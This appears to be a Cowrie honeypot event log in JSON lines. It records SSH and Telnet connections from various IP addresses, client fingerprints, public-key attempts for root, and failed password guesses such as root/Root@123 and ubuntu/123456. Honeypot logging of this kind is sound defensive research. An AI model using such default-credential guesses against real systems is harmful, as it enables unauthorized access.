{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:32.740393Z","src_ip":"165.154.23.26","session":"0f49d6cf270f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:33.205726Z","src_ip":"20.12.41.6","session":"b6a122cdc9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:33.617789Z","src_ip":"165.154.23.26","session":"0f49d6cf270f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:34.840671Z","src_ip":"165.154.23.26","session":"0f49d6cf270f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.76.244.116","src_port":50662,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a3160b29ea","protocol":"telnet","message":"New connection: 149.76.244.116:50662 (159.203.135.109:23) [session: e7a3160b29ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:54.663512Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59982,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f5b75e76714","protocol":"ssh","message":"New connection: 47.86.95.62:59982 (10.17.0.5:22) [session: 3f5b75e76714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:57.004863Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.76.244.116","src_port":50756,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae22bc4dc60f","protocol":"telnet","message":"New connection: 149.76.244.116:50756 (159.203.135.109:23) [session: ae22bc4dc60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:58.251489Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.76.244.116","src_port":50938,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1a3946e7d67","protocol":"telnet","message":"New connection: 149.76.244.116:50938 (159.203.135.109:23) [session: f1a3946e7d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:59.757390Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.76.244.116","src_port":51104,"dst_ip":"159.203.135.109","dst_port":23,"session":"e55956b47660","protocol":"telnet","message":"New connection: 149.76.244.116:51104 (159.203.135.109:23) [session: e55956b47660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:00.985489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:01.179568Z","src_ip":"47.86.95.62","session":"3f5b75e76714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:01.186313Z","src_ip":"47.86.95.62","session":"3f5b75e76714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":44680,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7719bf39131","protocol":"ssh","message":"New connection: 179.61.232.245:44680 (10.17.0.5:22) [session: a7719bf39131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.491864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.500378Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.529345Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:46:a6:fc:e5:d0:bb:6f:ba:63:aa:bb:a6:1e:f5:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZuniP84JQpCgmZYrv7FdyvfISpFpPku8MqLrgzjrg9GCWaZM+oy2p4d8YhBzspQrNH29zr+5xwmDI8z/EtV/U0CNXocTd41uF1t5cO9zn2r+fxOaW0RAgxFWufORS7DW81QHLMIYtPrjqVUgwKkYGfhpQ86+qSq0l/4rqFNfeaDA3aRb9I/u1StPd1s+oj/nBk2wqjDBhl1X4bh2SK5G2+1jUrdn5ZU1dCBNsRAwYM1ug+Z6kpXU2KReNy3cc/urIOCF/7AqgRseiP/RspYQEp9JMu4ZnZlP6kcXPDm3X9jjM5MzqamZ0QL+gPQaJq5kTEiihq7RW/fhy51VF6LM7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:46:a6:fc:e5:d0:bb:6f:ba:63:aa:bb:a6:1e:f5:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.645660Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:46:a6:fc:e5:d0:bb:6f:ba:63:aa:bb:a6:1e:f5:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZuniP84JQpCgmZYrv7FdyvfISpFpPku8MqLrgzjrg9GCWaZM+oy2p4d8YhBzspQrNH29zr+5xwmDI8z/EtV/U0CNXocTd41uF1t5cO9zn2r+fxOaW0RAgxFWufORS7DW81QHLMIYtPrjqVUgwKkYGfhpQ86+qSq0l/4rqFNfeaDA3aRb9I/u1StPd1s+oj/nBk2wqjDBhl1X4bh2SK5G2+1jUrdn5ZU1dCBNsRAwYM1ug+Z6kpXU2KReNy3cc/urIOCF/7AqgRseiP/RspYQEp9JMu4ZnZlP6kcXPDm3X9jjM5MzqamZ0QL+gPQaJq5kTEiihq7RW/fhy51VF6LM7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.649173Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:7e:36:08:41:c4:6f:2a:40:8d:31:24:31:1a:75:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9rgIdQZ1gF3ehQ3XLR+4ywRnOPk5CMjH/lOkguxHoy2o4k//QMfG4o/QPEqQcbEWOoBB5QyVU8RoBL/uRYtcRQRGGD1HTrvpLwOISBHdhJLSf27l8eNvgY9WZR4bSuM2NIyaDYu9cZ9Mi7ZzjrkYY1a6UDO2j6V3rM79innovZEk6nCUCFugGDui+B4D0tunRcV1ivU7f1iTW8pE9xXggO4wyphiS0Qkqkg4EVh3sN4CfzlwQdAo9Iyg5CawaeiShhD75JZkwwMDf2kBw01mHLsfjZATkMfygX20G7vErinIc+GGxI8+dJ5euEdXzG92KB/Z/usGb2sRKplKaNpAynLv36+jxVhzGvY7bLysuXam+vHTbd/vCpj9CciWXYQhNvaM2JvIgJb+ozpobJp2DUW/VfN+eyA65cHBvgkKiuFgRHqh0/veMGKViId7fm+pwz1ClUEONrdUmQNErEUz9/zJWwXcFlyKhUii31n9oMudO+a5OFX/lkwfvwhAHhDotU/+1S3+46Vjf0tcR7879dGJ2ckBws+jy5VohT0sl3a0lZK8jfGYYTOSQYJmBg9kMjNobuElzE0oNLoQqaKUnF/oN/ZYJfFrsA2z3z/bF+1DmwySuX5m5GEkwWDygCHsI+sDsNLY2C6/BiVR7LBQM3W3CZyEs3kG75vDYM3LegQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:7e:36:08:41:c4:6f:2a:40:8d:31:24:31:1a:75:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.677883Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:7e:36:08:41:c4:6f:2a:40:8d:31:24:31:1a:75:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9rgIdQZ1gF3ehQ3XLR+4ywRnOPk5CMjH/lOkguxHoy2o4k//QMfG4o/QPEqQcbEWOoBB5QyVU8RoBL/uRYtcRQRGGD1HTrvpLwOISBHdhJLSf27l8eNvgY9WZR4bSuM2NIyaDYu9cZ9Mi7ZzjrkYY1a6UDO2j6V3rM79innovZEk6nCUCFugGDui+B4D0tunRcV1ivU7f1iTW8pE9xXggO4wyphiS0Qkqkg4EVh3sN4CfzlwQdAo9Iyg5CawaeiShhD75JZkwwMDf2kBw01mHLsfjZATkMfygX20G7vErinIc+GGxI8+dJ5euEdXzG92KB/Z/usGb2sRKplKaNpAynLv36+jxVhzGvY7bLysuXam+vHTbd/vCpj9CciWXYQhNvaM2JvIgJb+ozpobJp2DUW/VfN+eyA65cHBvgkKiuFgRHqh0/veMGKViId7fm+pwz1ClUEONrdUmQNErEUz9/zJWwXcFlyKhUii31n9oMudO+a5OFX/lkwfvwhAHhDotU/+1S3+46Vjf0tcR7879dGJ2ckBws+jy5VohT0sl3a0lZK8jfGYYTOSQYJmBg9kMjNobuElzE0oNLoQqaKUnF/oN/ZYJfFrsA2z3z/bF+1DmwySuX5m5GEkwWDygCHsI+sDsNLY2C6/BiVR7LBQM3W3CZyEs3kG75vDYM3LegQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.682369Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:41:7f:d5:8e:e5:98:1f:5d:6c:60:89:af:21:e1:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC35aAf7XzAWW13e08bAPnB8OHkCkHON58BAPHQ9HqmTP0nH4/km5NP5dEH6g8Tg65HefOPRSPDwdASWfQu+3xNOuazmyFzQ7UqR8LH/cqZpxl7dgIo5LhfiEU373DHj5mjqk9zaMNG5IE57lt3jM/0wOYDdvz1DSd38fH/WgNTDmGJuk+ShgdRc5lzbELAnnkcK7aqDjkQjRQKgUmhR4NUh5ll81g5GPM1xX03Mst/GOIlUIjhykG0RndHkRaKdKoF5uGp4wROSE8ze6LS9h8z0kpqGzE2E5C0S0ju31CKQIOluBZk21a7GH27uBkRGzpzFINln400WqTFvp9uny/7ODMjEKr1kUbUYsTZWRj8BaBhZzeX5pi7OWEfvlWiJf16fNnD0BILjwo0zyrYh1bY6FSyUBgajmfXTGAKqT2ZR8oCFnbJTo3H7NVPy3ywOJqZRZd5CuibZRkqh1ee6j6P+sAvCCM3jkc+lGCzlwS42mN6uZW47JtNIAYMw8EQOab2Wyo5Xg5EYs99rjjLPYQtl9h+NnX30NSpLPvV6UGLq3MdzF2JEZ7iDTLPu8JXNruOkAiDKGo6JG5mSXlq+u/QUWU/D+F7l7/gWJzfwzKgbfivZIu23Jk4BV5ygOrCS+NWqyxjd5Xopo/Xznc81le4rZg0+vW/c2eiVUF9KxcNMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:41:7f:d5:8e:e5:98:1f:5d:6c:60:89:af:21:e1:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.710763Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:41:7f:d5:8e:e5:98:1f:5d:6c:60:89:af:21:e1:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC35aAf7XzAWW13e08bAPnB8OHkCkHON58BAPHQ9HqmTP0nH4/km5NP5dEH6g8Tg65HefOPRSPDwdASWfQu+3xNOuazmyFzQ7UqR8LH/cqZpxl7dgIo5LhfiEU373DHj5mjqk9zaMNG5IE57lt3jM/0wOYDdvz1DSd38fH/WgNTDmGJuk+ShgdRc5lzbELAnnkcK7aqDjkQjRQKgUmhR4NUh5ll81g5GPM1xX03Mst/GOIlUIjhykG0RndHkRaKdKoF5uGp4wROSE8ze6LS9h8z0kpqGzE2E5C0S0ju31CKQIOluBZk21a7GH27uBkRGzpzFINln400WqTFvp9uny/7ODMjEKr1kUbUYsTZWRj8BaBhZzeX5pi7OWEfvlWiJf16fNnD0BILjwo0zyrYh1bY6FSyUBgajmfXTGAKqT2ZR8oCFnbJTo3H7NVPy3ywOJqZRZd5CuibZRkqh1ee6j6P+sAvCCM3jkc+lGCzlwS42mN6uZW47JtNIAYMw8EQOab2Wyo5Xg5EYs99rjjLPYQtl9h+NnX30NSpLPvV6UGLq3MdzF2JEZ7iDTLPu8JXNruOkAiDKGo6JG5mSXlq+u/QUWU/D+F7l7/gWJzfwzKgbfivZIu23Jk4BV5ygOrCS+NWqyxjd5Xopo/Xznc81le4rZg0+vW/c2eiVUF9KxcNMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.715459Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:b7:02:61:29:bd:6d:67:0f:3c:c3:76:db:c0:95:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLGVexjsVyV2NZi9lFcVmtl2aApp39vMkGciBPJ9FUSJKysIR+k5k1z2sJTSLisQv7t3ry0eP3mUYBzxQqJF8OKxf/gbs2MqTd92N5ISJJ355p1N8zdC6RbmDGNWSIh3ypr7++S3UP4U1DWLTxrM7+CRA6pMt809/Y0rK/IC6ODIVWZUQWghfbi4BKMURfUKr8g09O2EypZy0jbVK48XDE60E/qU/tmeQ9Fr3/i6oOB+nbAKLhZ/ul9HfElxVmLsjaEzfUzD/bqlPQnp5mugQDi2gxdG83AIiB5DSHqZ4xQoHM8c4NQ+NRXUIAIHxewWkv2eAc34WguPFx0x8SfH6T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:b7:02:61:29:bd:6d:67:0f:3c:c3:76:db:c0:95:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.746075Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:b7:02:61:29:bd:6d:67:0f:3c:c3:76:db:c0:95:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLGVexjsVyV2NZi9lFcVmtl2aApp39vMkGciBPJ9FUSJKysIR+k5k1z2sJTSLisQv7t3ry0eP3mUYBzxQqJF8OKxf/gbs2MqTd92N5ISJJ355p1N8zdC6RbmDGNWSIh3ypr7++S3UP4U1DWLTxrM7+CRA6pMt809/Y0rK/IC6ODIVWZUQWghfbi4BKMURfUKr8g09O2EypZy0jbVK48XDE60E/qU/tmeQ9Fr3/i6oOB+nbAKLhZ/ul9HfElxVmLsjaEzfUzD/bqlPQnp5mugQDi2gxdG83AIiB5DSHqZ4xQoHM8c4NQ+NRXUIAIHxewWkv2eAc34WguPFx0x8SfH6T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.750441Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:b7:75:09:08:c6:ab:0e:5d:d8:10:03:1d:40:49:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/aUVktgMGi+eVky53jLaaD1IzT7x13WvSjehM6WgU+Mg6KrJlZPpzLtz6GPctpU06YrpgCYzOpfg/ACUdoT3NYFON1ch7cTlz5MY8hxCe8v7sFk21hOV5KbhrYP1dOFCNA5RF7VYpbMn678xzWEXS2xhshgDrJDK4gxJ3mtjk7OWkgDyr6v6YCKJYAOpR1eWH4NHjoh6QWXKvGAmL6TTaRgznGSQm4l4CwyYu9/RZcYQBOKyPfMzYDN9np+0hc06Ura7vM0ZfyTF660whgqABzOg7HPOATrs9QtRRBeL16Bs/+GTUr6fKcsJ51w4KNTDS+x72ACU+aENKAbvpy/0j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:b7:75:09:08:c6:ab:0e:5d:d8:10:03:1d:40:49:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.779727Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:b7:75:09:08:c6:ab:0e:5d:d8:10:03:1d:40:49:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/aUVktgMGi+eVky53jLaaD1IzT7x13WvSjehM6WgU+Mg6KrJlZPpzLtz6GPctpU06YrpgCYzOpfg/ACUdoT3NYFON1ch7cTlz5MY8hxCe8v7sFk21hOV5KbhrYP1dOFCNA5RF7VYpbMn678xzWEXS2xhshgDrJDK4gxJ3mtjk7OWkgDyr6v6YCKJYAOpR1eWH4NHjoh6QWXKvGAmL6TTaRgznGSQm4l4CwyYu9/RZcYQBOKyPfMzYDN9np+0hc06Ura7vM0ZfyTF660whgqABzOg7HPOATrs9QtRRBeL16Bs/+GTUr6fKcsJ51w4KNTDS+x72ACU+aENKAbvpy/0j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.783931Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:21.813350Z","src_ip":"179.61.232.245","session":"a7719bf39131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:24.343647Z","src_ip":"47.86.95.62","session":"3f5b75e76714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.8","message":"Connection lost after 29.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:26.778618Z","src_ip":"47.86.95.62","session":"3f5b75e76714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":40772,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc77f4194c9","protocol":"ssh","message":"New connection: 209.99.184.143:40772 (159.203.135.109:22) [session: afc77f4194c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:29.711578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:29.716969Z","src_ip":"209.99.184.143","session":"afc77f4194c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:29.809836Z","src_ip":"209.99.184.143","session":"afc77f4194c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa$$word","message":"login attempt [root/pa$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:44:30.215019Z","src_ip":"209.99.184.143","session":"afc77f4194c9","protocol":"ssh"}
